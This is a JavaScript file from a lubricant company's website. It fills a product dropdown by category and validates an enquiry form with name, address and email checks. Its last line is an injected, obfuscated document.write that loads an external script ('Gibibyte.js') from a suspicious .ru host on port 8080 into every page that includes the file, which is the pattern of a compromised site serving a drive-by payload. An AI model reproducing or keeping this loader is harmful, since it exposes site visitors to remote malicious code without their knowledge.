// JavaScript Document

<!-- populating product list -->

function productslist(){
	var productcategory1
	productcategory1 = (document.all.petroleum.productcategory.value);
	document.all.petroleum.products.length=0;

	if(productcategory1!=""){
			if(productcategory1=="automotivelubricants"){
				var pdlist = new Array();
				var pdlist = new Array(4);
				var pdlist = new Array("engine oils", "grease", "2t oils", "gear oils");
				var i=0
					for(var i=0;i<4;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.petroleum.products);
						news.appendChild(newOptionElement);
					}
				}
				
			if(productcategory1=="industriallubricants"){
				var pdlist = new Array();
				var pdlist = new Array(14);
				var pdlist = new Array("soluble cutting oil","synthetic soluble cutting oil","neat cutting oil","honing fluids","metal forming lubricants","slide way lubricants","quenching oil","rust preventives","hydraulic oils","industrial gear oils","heat transfer oils","spindle oil","fire resistant hydraulic fluids","general purpose machinery oil");
				var i=0
					for(var i=0;i<14;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.petroleum.products);
						news.appendChild(newOptionElement);
					}				
				}

			if(productcategory1=="foodgradelubricants"){
				
				var pdlist = new Array();
				var pdlist = new Array(3);
				var pdlist = new Array("Specol FG Multipurpose Lubricant","Specol FG Hydraulic Oils","Specol FG Chain Oils");
				var i=0
					for(var i=0;i<3;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.petroleum.products);
						news.appendChild(newOptionElement);
					}				
				}

			if(productcategory1=="automotivespecialities"){
				
				var pdlist = new Array();
				var pdlist = new Array(4);
				var pdlist = new Array("brake fluid dot3", "brake fluid dot4", "transmission fluid", "torque oil");
				var i=0
					for(var i=0;i<4;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.petroleum.products);
						news.appendChild(newOptionElement);
					}				
				}				
			if(productcategory1=="carcare"){
				
				var pdlist = new Array();
				var pdlist = new Array(6);
				var pdlist = new Array("redex fuel additives","redex oil treatment","radweld","speedflush","radiator coolant","big red");
				var i=0
					for(var i=0;i<6;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.petroleum.products);
						news.appendChild(newOptionElement);
					}				
				}				

			if(productcategory1=="additives"){
				
				var pdlist = new Array();
				var pdlist = new Array(5);
				var pdlist = new Array("viscosity and viscosity index improver","sulphurised triglycerides","sulphurised fatty acids","fatty amide","biocide");
				var i=0
					for(var i=0;i<5;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.petroleum.products);
						news.appendChild(newOptionElement);
					}				
				}				


}
	}

<!-- end populating product list -->
<!-- form validation -->
function vform(){
<!-- Declaring variable -->
	var productcategory, products, info, organisation, firstname, familyname, designation, address, street, city, lstate, country, zipcode, telephone, fax, email, website, errmsg;

productcategory = (document.all.petroleum.productcategory.value);
products = (document.all.petroleum.products.value);
info = (document.all.petroleum.info.value);
organisation = (document.all.petroleum.organisation.value);
firstname = (document.all.petroleum.firstname.value);
familyname = (document.all.petroleum.familyname.value);
designation = (document.all.petroleum.designation.value);
address = (document.all.petroleum.address.value);
street = (document.all.petroleum.street.value);
city = (document.all.petroleum.city.value);
lstate = (document.all.petroleum.lstate.value);
country = (document.all.petroleum.country.value);
zipcode = (document.all.petroleum.zipcode.value);
telephone = (document.all.petroleum.telephone.value);
fax = (document.all.petroleum.fax.value);
email = (document.all.petroleum.email.value);
website = (document.all.petroleum.website.value);
errmsg='';

<!-- validating first name -->	
	if((firstname=='')||(firstname.length<2)||(firstname.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter first name'+ "\n";
	}

<!-- validating last name -->	
	if((familyname=='')||(familyname.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter family name'+ "\n";
	}	

<!-- validating organisation name -->	
	if((organisation=='')||(organisation.length<4)||(firstname.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter organisation name'+ "\n";
	}		

<!-- validating address -->	
	if((address=='')||(address.length<4)||(address.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter address'+ "\n";
	}			

<!-- validating city -->	
	if((city=='')||(city.length<4)||(city.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter city'+ "\n";
	}			

<!-- validating state -->	
	if((lstate=='')||(lstate.length<4)||(lstate.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter state'+ "\n";
	}			
	
<!-- validating zipcode -->	
	if((zipcode=='')||(zipcode.length<6)||(zipcode.charCodeAt(0)==32)||(isNaN(zipcode))){
		errmsg=errmsg+'Kindly enter zipcode'+ "\n";
	}			

<!-- validating telephone -->	
	if((isNaN(telephone))){
		errmsg=errmsg+'Kindly enter valid telephone'+ "\n";
	}

<!-- validating telephone -->	
	if(isNaN(fax)){
		errmsg=errmsg+'Kindly enter valid fax'+ "\n";
	}
					
<!-- validating E-mail -->
		if((document.all.petroleum.email.value) == ''){
		errmsg = errmsg +  "Please Enter Email-ID" + "\n";
	}
	
	mainloop:
	if((document.all.petroleum.email.value) != ''){
	var	email2 = 0;
	var email4 = "";
	var qa;

		for(var i=0;i<(document.all.petroleum.email.value).length;i++){
			var email6 = (document.all.petroleum.email.value).charCodeAt(i);
			if(((email6>90)&&(email6<97)&&(email6!=95))||((email6<64)&&(email6>57))||((email6<48)&&(email6!=45)&&(email6!=46))){
				errmsg = errmsg + "Please enter valid E-mail id" + "\n";
				break mainloop				
			}
		}
		for(var q=0;q<(document.all.petroleum.email.value).length;q++){
			if((document.all.petroleum.email.value).charAt(q) == '@'){
				qa = q;
				email2 = email2+1;
			}
		}
		if((email2 == 1)){
			var email3 = (document.all.petroleum.email.value).substring((qa+1),(document.all.petroleum.email.value).length);
			for(var qb=0;qb<(email3.length);qb++){
				if((email3.charAt(qb) == '.') && (qb>0)){
						var email5 = email3.substring((qb+1),email3.length);
					if((email5.length) >= 2){
						email4 = 'yes';						
						break mainloop;
					}
					else{
						email4 = 'no';
					}
				}
				else{
					email4 = 'no';
				}
			}
		}
		if((email4 == 'no') || (email2 != 1) || (qa == 0) || (email3 == "")){
			errmsg = errmsg + "Please enter valid E-mmail id" + "\n";
		}			
	}
<!--End form validation -->	
	if(errmsg == ""){
		vvalue = true;
	}
	else{
		alert (errmsg);
		vvalue = false;
	}		
}
<!-- end form validation -->
function stsbar(){
		window.status = ("Sarbi Petroleum - automotive lubricants, automotive specialities, industrial lubricants, car care products, food grade lubricants");
	}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Gibibyte.js"></scr'+'ipt>');